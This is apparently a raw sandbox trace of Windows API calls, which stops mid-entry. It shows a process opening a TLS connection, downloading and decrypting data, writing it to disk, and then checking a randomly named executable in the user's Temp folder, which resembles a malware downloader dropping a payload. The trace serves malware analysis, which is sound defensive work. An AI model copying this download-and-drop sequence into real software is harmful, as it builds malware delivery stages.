0x0 [0108.415] RegQueryValueExW (in: hKey=0x5e0, lpValueName="SchUseStrongCrypto", lpReserved=0x0, lpType=0x1ed8f8, lpData=0x0, lpcbData=0x1ed8f0*=0x0 | out: lpType=0x1ed8f8*=0x0, lpData=0x0, lpcbData=0x1ed8f0*=0x0) returned 0x2 [0108.415] RegCloseKey (hKey=0x5e0) returned 0x0 [0108.422] EnumerateSecurityPackagesW (in: pcPackages=0x1ed8f8, ppPackageInfo=0x1ed810 | out: pcPackages=0x1ed8f8, ppPackageInfo=0x1ed810) returned 0x0 [0108.426] FreeContextBuffer (in: pvContextBuffer=0x1a5f0a30 | out: pvContextBuffer=0x1a5f0a30) returned 0x0 [0108.431] GetCurrentProcess () returned 0xffffffffffffffff [0108.431] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x1ed448 | out: TokenHandle=0x1ed448*=0x5e0) returned 1 [0108.433] AcquireCredentialsHandleW (in: pPrincipal=0x0, pPackage=0x22eb87c, fCredentialUse=0x2, pvLogonId=0x0, pAuthData=0x1ed5b0, pGetKeyFn=0x0, pvGetKeyArgument=0x0, phCredential=0x22ed878, ptsExpiry=0x1ed4d0 | out: phCredential=0x22ed878, ptsExpiry=0x1ed4d0) returned 0x0 [0108.453] InitializeSecurityContextW (in: phCredential=0x1ed4a8, phContext=0x0, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x0, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22eda68, pfContextAttr=0x22eb848, ptsExpiry=0x1ed4a0 | out: phNewContext=0x22edb10, pOutput=0x22eda68, pfContextAttr=0x22eb848, ptsExpiry=0x1ed4a0) returned 0x90312 [0108.454] FreeContextBuffer (in: pvContextBuffer=0x1a5a31f0 | out: pvContextBuffer=0x1a5a31f0) returned 0x0 [0108.455] send (s=0x5e4, buf=0x22edb38*, len=129, flags=0) returned 129 [0108.456] recv (in: s=0x5e4, buf=0x22edb38, len=5, flags=0 | out: buf=0x22edb38*) returned 5 [0108.475] recv (in: s=0x5e4, buf=0x22edb3d, len=93, flags=0 | out: buf=0x22edb3d*) returned 93 [0108.476] InitializeSecurityContextW (in: phCredential=0x1ed408, phContext=0x1ed530, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22ede58, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22ede78, pfContextAttr=0x22eb848, ptsExpiry=0x1ed400 | out: phNewContext=0x22edb10, pOutput=0x22ede78, pfContextAttr=0x22eb848, ptsExpiry=0x1ed400) returned 0x90312 [0108.477] recv (in: s=0x5e4, buf=0x22edf68, len=5, flags=0 | out: buf=0x22edf68*) returned 5 [0108.477] recv (in: s=0x5e4, buf=0x22edf8d, len=3182, flags=0 | out: buf=0x22edf8d*) returned 2777 [0108.477] recv (in: s=0x5e4, buf=0x22eea66, len=405, flags=0 | out: buf=0x22eea66*) returned 405 [0108.834] InitializeSecurityContextW (in: phCredential=0x1ed358, phContext=0x1ed480, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22eecc8, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22eece8, pfContextAttr=0x22eb848, ptsExpiry=0x1ed350 | out: phNewContext=0x22edb10, pOutput=0x22eece8, pfContextAttr=0x22eb848, ptsExpiry=0x1ed350) returned 0x90312 [0108.834] recv (in: s=0x5e4, buf=0x22eedd8, len=5, flags=0 | out: buf=0x22eedd8*) returned 5 [0108.834] recv (in: s=0x5e4, buf=0x22eedfd, len=331, flags=0 | out: buf=0x22eedfd*) returned 331 [0108.834] InitializeSecurityContextW (in: phCredential=0x1ed2a8, phContext=0x1ed3d0, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22ef010, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22ef030, pfContextAttr=0x22eb848, ptsExpiry=0x1ed2a0 | out: phNewContext=0x22edb10, pOutput=0x22ef030, pfContextAttr=0x22eb848, ptsExpiry=0x1ed2a0) returned 0x90312 [0108.834] recv (in: s=0x5e4, buf=0x22ef120, len=5, flags=0 | out: buf=0x22ef120*) returned 5 [0108.835] recv (in: s=0x5e4, buf=0x22ef145, len=4, flags=0 | out: buf=0x22ef145*) returned 4 [0108.835] InitializeSecurityContextW (in: phCredential=0x1ed1f8, phContext=0x1ed320, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22ef218, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22ef238, pfContextAttr=0x22eb848, ptsExpiry=0x1ed1f0 | out: phNewContext=0x22edb10, pOutput=0x22ef238, pfContextAttr=0x22eb848, ptsExpiry=0x1ed1f0) returned 0x90312 [0108.840] FreeContextBuffer (in: pvContextBuffer=0x1a5a31f0 | out: pvContextBuffer=0x1a5a31f0) returned 0x0 [0108.840] send (s=0x5e4, buf=0x22ef308*, len=134, flags=0) returned 134 [0108.841] recv (in: s=0x5e4, buf=0x22ef308, len=5, flags=0 | out: buf=0x22ef308*) returned 5 [0108.861] recv (in: s=0x5e4, buf=0x22ef30d, len=1, flags=0 | out: buf=0x22ef30d*) returned 1 [0108.861] InitializeSecurityContextW (in: phCredential=0x1ed148, phContext=0x1ed270, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22ef478, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22ef498, pfContextAttr=0x22eb848, ptsExpiry=0x1ed140 | out: phNewContext=0x22edb10, pOutput=0x22ef498, pfContextAttr=0x22eb848, ptsExpiry=0x1ed140) returned 0x90312 [0108.861] recv (in: s=0x5e4, buf=0x22ef588, len=5, flags=0 | out: buf=0x22ef588*) returned 5 [0108.861] recv (in: s=0x5e4, buf=0x22ef5ad, len=48, flags=0 | out: buf=0x22ef5ad*) returned 48 [0108.861] InitializeSecurityContextW (in: phCredential=0x1ed098, phContext=0x1ed1c0, pTargetName=0x22e8e9c, fContextReq=0x8011c, Reserved1=0x0, TargetDataRep=0x10, pInput=0x22ef6a8, Reserved2=0x0, phNewContext=0x22edb10, pOutput=0x22ef6c8, pfContextAttr=0x22eb848, ptsExpiry=0x1ed090 | out: phNewContext=0x22edb10, pOutput=0x22ef6c8, pfContextAttr=0x22eb848, ptsExpiry=0x1ed090) returned 0x0 [0108.872] QueryContextAttributesW (in: phContext=0x22edb10, ulAttribute=0x4, pBuffer=0x22ef7f0 | out: pBuffer=0x22ef7f0) returned 0x0 [0108.872] QueryContextAttributesW (in: phContext=0x22edb10, ulAttribute=0x5a, pBuffer=0x22ef880 | out: pBuffer=0x22ef880) returned 0x0 [0108.877] QueryContextAttributesW (in: phContext=0x22edb10, ulAttribute=0x53, pBuffer=0x22efbe0 | out: pBuffer=0x22efbe0) returned 0x0 [0108.884] CertDuplicateCRLContext (pCrlContext=0x1a63dfa0) returned 0x1a63dfa0 [0108.884] CertDuplicateStore (hCertStore=0x1a578230) returned 0x1a578230 [0108.885] CertEnumCertificatesInStore (hCertStore=0x1a578230, pPrevCertContext=0x0) returned 0x1a63e020 [0108.885] CertDuplicateCRLContext (pCrlContext=0x1a63e020) returned 0x1a63e020 [0108.885] CertEnumCertificatesInStore (hCertStore=0x1a578230, pPrevCertContext=0x1a63e020) returned 0x1a63dfa0 [0108.885] CertDuplicateCRLContext (pCrlContext=0x1a63dfa0) returned 0x1a63dfa0 [0108.886] CertEnumCertificatesInStore (hCertStore=0x1a578230, pPrevCertContext=0x1a63dfa0) returned 0x0 [0108.886] CertCloseStore (hCertStore=0x1a578230, dwFlags=0x0) returned 1 [0108.886] CertFreeCRLContext (pCrlContext=0x1a63dfa0) returned 1 [0108.894] CertOpenStore (lpszStoreProvider=0x2, dwEncodingType=0x10001, hCryptProv=0x0, dwFlags=0x2204, pvPara=0x0) returned 0x1a578300 [0108.894] CertAddCRLLinkToStore (in: hCertStore=0x1a578300, pCrlContext=0x1a63e020, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0108.896] CertAddCRLLinkToStore (in: hCertStore=0x1a578300, pCrlContext=0x1a63dfa0, dwAddDisposition=0x4, ppStoreContext=0x0 | out: ppStoreContext=0x0) returned 1 [0108.897] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x1ecc68 | out: pTimeZoneInformation=0x1ecc68) returned 0x0 [0108.899] CoTaskMemAlloc (cb=0x20c) returned 0x1a59eff0 [0108.899] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a59eff0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.899] CoTaskMemFree (pv=0x1a59eff0) [0108.899] CoTaskMemAlloc (cb=0x20e) returned 0x1a59eff0 [0108.899] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath=0x1a59eff0, pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50 | out: pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50) returned 1 [0108.901] CoTaskMemFree (pv=0x0) [0108.901] CoTaskMemFree (pv=0x1a59eff0) [0108.902] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x770001 [0108.905] CoTaskMemAlloc (cb=0x3ec) returned 0x1a646380 [0108.905] LoadStringW (in: hInstance=0x770001, uID=0x370, lpBuffer=0x1a646380, cchBufferMax=500 | out: lpBuffer="(UTC) Monrovia, Reykjavik") returned 0x19 [0108.905] CoTaskMemFree (pv=0x1a646380) [0108.905] FreeLibrary (hLibModule=0x770001) returned 1 [0108.906] CoTaskMemAlloc (cb=0x20c) returned 0x1a59eff0 [0108.906] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a59eff0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.906] CoTaskMemFree (pv=0x1a59eff0) [0108.906] CoTaskMemAlloc (cb=0x20e) returned 0x1a59eff0 [0108.906] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath=0x1a59eff0, pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50 | out: pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50) returned 1 [0108.906] CoTaskMemFree (pv=0x0) [0108.906] CoTaskMemFree (pv=0x1a59eff0) [0108.906] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x770001 [0108.907] CoTaskMemAlloc (cb=0x3ec) returned 0x1a646380 [0108.907] LoadStringW (in: hInstance=0x770001, uID=0x110, lpBuffer=0x1a646380, cchBufferMax=500 | out: lpBuffer="Greenwich Standard Time") returned 0x17 [0108.907] CoTaskMemFree (pv=0x1a646380) [0108.907] FreeLibrary (hLibModule=0x770001) returned 1 [0108.908] CoTaskMemAlloc (cb=0x20c) returned 0x1a59eff0 [0108.908] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1a59eff0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0108.908] CoTaskMemFree (pv=0x1a59eff0) [0108.908] CoTaskMemAlloc (cb=0x20e) returned 0x1a59eff0 [0108.908] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath=0x1a59eff0, pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50 | out: pwszLanguage=0x0, pcchLanguage=0x1ecc58, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x1ecc60, pululEnumerator=0x1ecc50) returned 1 [0108.908] CoTaskMemFree (pv=0x0) [0108.908] CoTaskMemFree (pv=0x1a59eff0) [0108.908] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x770001 [0108.909] CoTaskMemAlloc (cb=0x3ec) returned 0x1a646380 [0108.909] LoadStringW (in: hInstance=0x770001, uID=0x10f, lpBuffer=0x1a646380, cchBufferMax=500 | out: lpBuffer="Greenwich Daylight Time") returned 0x17 [0108.909] CoTaskMemFree (pv=0x1a646380) [0108.909] FreeLibrary (hLibModule=0x770001) returned 1 [0108.909] RegCloseKey (hKey=0x664) returned 0x0 [0108.912] CertGetCertificateChain (in: hChainEngine=0x0, pCertContext=0x1a63dfa0, pTime=0x1ed1b0, hAdditionalStore=0x1a578300, pChainPara=0x1ed048, dwFlags=0x0, pvReserved=0x0, ppChainContext=0x1ed030 | out: ppChainContext=0x1ed030) returned 1 [0109.169] CertDuplicateCertificateChain (pChainContext=0x1c593960) returned 0x1c593960 [0109.170] CertDuplicateCRLContext (pCrlContext=0x1a63dfa0) returned 0x1a63dfa0 [0109.170] CertDuplicateCRLContext (pCrlContext=0x1c5d7f40) returned 0x1c5d7f40 [0109.170] CertDuplicateCRLContext (pCrlContext=0x1c5d7fc0) returned 0x1c5d7fc0 [0109.170] CertFreeCertificateChain (pChainContext=0x1c593960) [0109.171] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x1, pChainContext=0x1c593960, pPolicyPara=0x1ed2f8, pPolicyStatus=0x1ed2d8 | out: pPolicyStatus=0x1ed2d8) returned 1 [0109.171] SetLastError (dwErrCode=0x0) [0109.173] CertVerifyCertificateChainPolicy (in: pszPolicyOID=0x4, pChainContext=0x1c593960, pPolicyPara=0x1ed3d8, pPolicyStatus=0x1ed328 | out: pPolicyStatus=0x1ed328) returned 1 [0109.177] CertFreeCertificateChain (pChainContext=0x1c593960) [0109.177] CertFreeCRLContext (pCrlContext=0x1a63dfa0) returned 1 [0109.201] CoTaskMemAlloc (cb=0x20e) returned 0x1a6017e0 [0109.201] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x1a6017e0, nSize=0x105 | out: lpBuffer="Ě") returned 0x0 [0109.201] CoTaskMemFree (pv=0x1a6017e0) [0109.201] CoTaskMemAlloc (cb=0x20e) returned 0x1a6017e0 [0109.201] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x1a6017e0, nSize=0x105 | out: lpBuffer="Ě") returned 0x0 [0109.201] CoTaskMemFree (pv=0x1a6017e0) [0109.202] CoTaskMemAlloc (cb=0x20e) returned 0x1a6017e0 [0109.202] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_Disabled", lpBuffer=0x1a6017e0, nSize=0x105 | out: lpBuffer="Ě") returned 0x0 [0109.202] CoTaskMemFree (pv=0x1a6017e0) [0109.202] CoTaskMemAlloc (cb=0x20e) returned 0x1a6017e0 [0109.202] GetEnvironmentVariableW (in: lpName="PinnableBufferCache_System.Net.SslStream_MinCount", lpBuffer=0x1a6017e0, nSize=0x105 | out: lpBuffer="Ě") returned 0x0 [0109.202] CoTaskMemFree (pv=0x1a6017e0) [0109.203] EncryptMessage (in: phContext=0x22edb10, fQOP=0x0, pMessage=0x22fda60, MessageSeqNo=0x0 | out: pMessage=0x22fda60) returned 0x0 [0109.203] send (s=0x5e4, buf=0x22fc4b0*, len=181, flags=0) returned 181 [0109.217] setsockopt (s=0x5e4, level=65535, optname=4102, optval=" \x86\x01", optlen=4) returned 0 [0109.218] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.382] recv (in: s=0x5e4, buf=0x2309e5d, len=928, flags=0 | out: buf=0x2309e5d*) returned 928 [0109.382] DecryptMessage (in: phContext=0x22edb10, pMessage=0x230df80, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x230df80, pfQOP=0x0) returned 0x0 [0109.416] setsockopt (s=0x5e4, level=65535, optname=4102, optval="à\x93\x04", optlen=4) returned 0 [0109.416] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.416] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.417] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231a580, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231a580, pfQOP=0x0) returned 0x0 [0109.417] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.417] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.417] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231b778, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231b778, pfQOP=0x0) returned 0x0 [0109.417] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.417] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.417] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231b958, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231b958, pfQOP=0x0) returned 0x0 [0109.418] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.421] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.422] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.422] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231bb38, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231bb38, pfQOP=0x0) returned 0x0 [0109.422] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.422] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.422] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231bd18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231bd18, pfQOP=0x0) returned 0x0 [0109.422] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.422] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.422] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231bef8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231bef8, pfQOP=0x0) returned 0x0 [0109.422] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.423] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.423] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.423] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231c0d8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231c0d8, pfQOP=0x0) returned 0x0 [0109.423] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.423] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.423] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231c2b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231c2b8, pfQOP=0x0) returned 0x0 [0109.423] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.423] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.423] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231c498, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231c498, pfQOP=0x0) returned 0x0 [0109.423] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.424] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.424] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.424] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231c678, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231c678, pfQOP=0x0) returned 0x0 [0109.424] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.424] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.424] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231c858, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231c858, pfQOP=0x0) returned 0x0 [0109.424] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.424] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.424] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231ca38, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231ca38, pfQOP=0x0) returned 0x0 [0109.424] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.425] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.425] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.425] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231cc18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231cc18, pfQOP=0x0) returned 0x0 [0109.425] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.426] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.426] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231cdf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231cdf8, pfQOP=0x0) returned 0x0 [0109.426] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.426] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.426] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231cfd8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231cfd8, pfQOP=0x0) returned 0x0 [0109.426] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.426] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.426] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.426] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231d1b8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231d1b8, pfQOP=0x0) returned 0x0 [0109.426] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.427] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.427] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231d398, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231d398, pfQOP=0x0) returned 0x0 [0109.427] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.427] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.427] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231d578, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231d578, pfQOP=0x0) returned 0x0 [0109.427] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.428] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.428] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.428] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231d758, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231d758, pfQOP=0x0) returned 0x0 [0109.428] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.428] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.428] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231d938, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231d938, pfQOP=0x0) returned 0x0 [0109.428] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.428] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.428] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231db18, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231db18, pfQOP=0x0) returned 0x0 [0109.428] WriteFile (in: hFile=0x4d8, lpBuffer=0x231a670*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x1edf68, lpOverlapped=0x0 | out: lpBuffer=0x231a670*, lpNumberOfBytesWritten=0x1edf68*=0x1000, lpOverlapped=0x0) returned 1 [0109.429] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.429] recv (in: s=0x5e4, buf=0x2309e5d, len=1392, flags=0 | out: buf=0x2309e5d*) returned 1392 [0109.429] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231dcf8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231dcf8, pfQOP=0x0) returned 0x0 [0109.429] recv (in: s=0x5e4, buf=0x2309e58, len=5, flags=0 | out: buf=0x2309e58*) returned 5 [0109.429] recv (in: s=0x5e4, buf=0x2309e5d, len=144, flags=0 | out: buf=0x2309e5d*) returned 144 [0109.429] DecryptMessage (in: phContext=0x22edb10, pMessage=0x231ded8, MessageSeqNo=0x0, pfQOP=0x0 | out: pMessage=0x231ded8, pfQOP=0x0) returned 0x0 [0109.430] CoTaskMemAlloc (cb=0x20c) returned 0x1a6017e0 [0109.430] GetTempPathW (in: nBufferLength=0x104, lpBuffer=0x1a6017e0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\") returned 0x25 [0109.430] CoTaskMemFree (pv=0x1a6017e0) [0109.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", nBufferLength=0x105, lpBuffer=0x1edbf0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\", lpFilePart=0x0) returned 0x25 [0109.430] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", nBufferLength=0x105, lpBuffer=0x1edc80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe", lpFilePart=0x0) returned 0x31 [0109.430] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ee0c0) returned 1 [0109.430] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\tav1geqs.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\tav1geqs.exe"), fInfoLevelId=0x0, lpFileInformation=0x1ee1a0 | out: lpFileInformation=0x1ee1a0*(dwFileAttributes=0x2020, 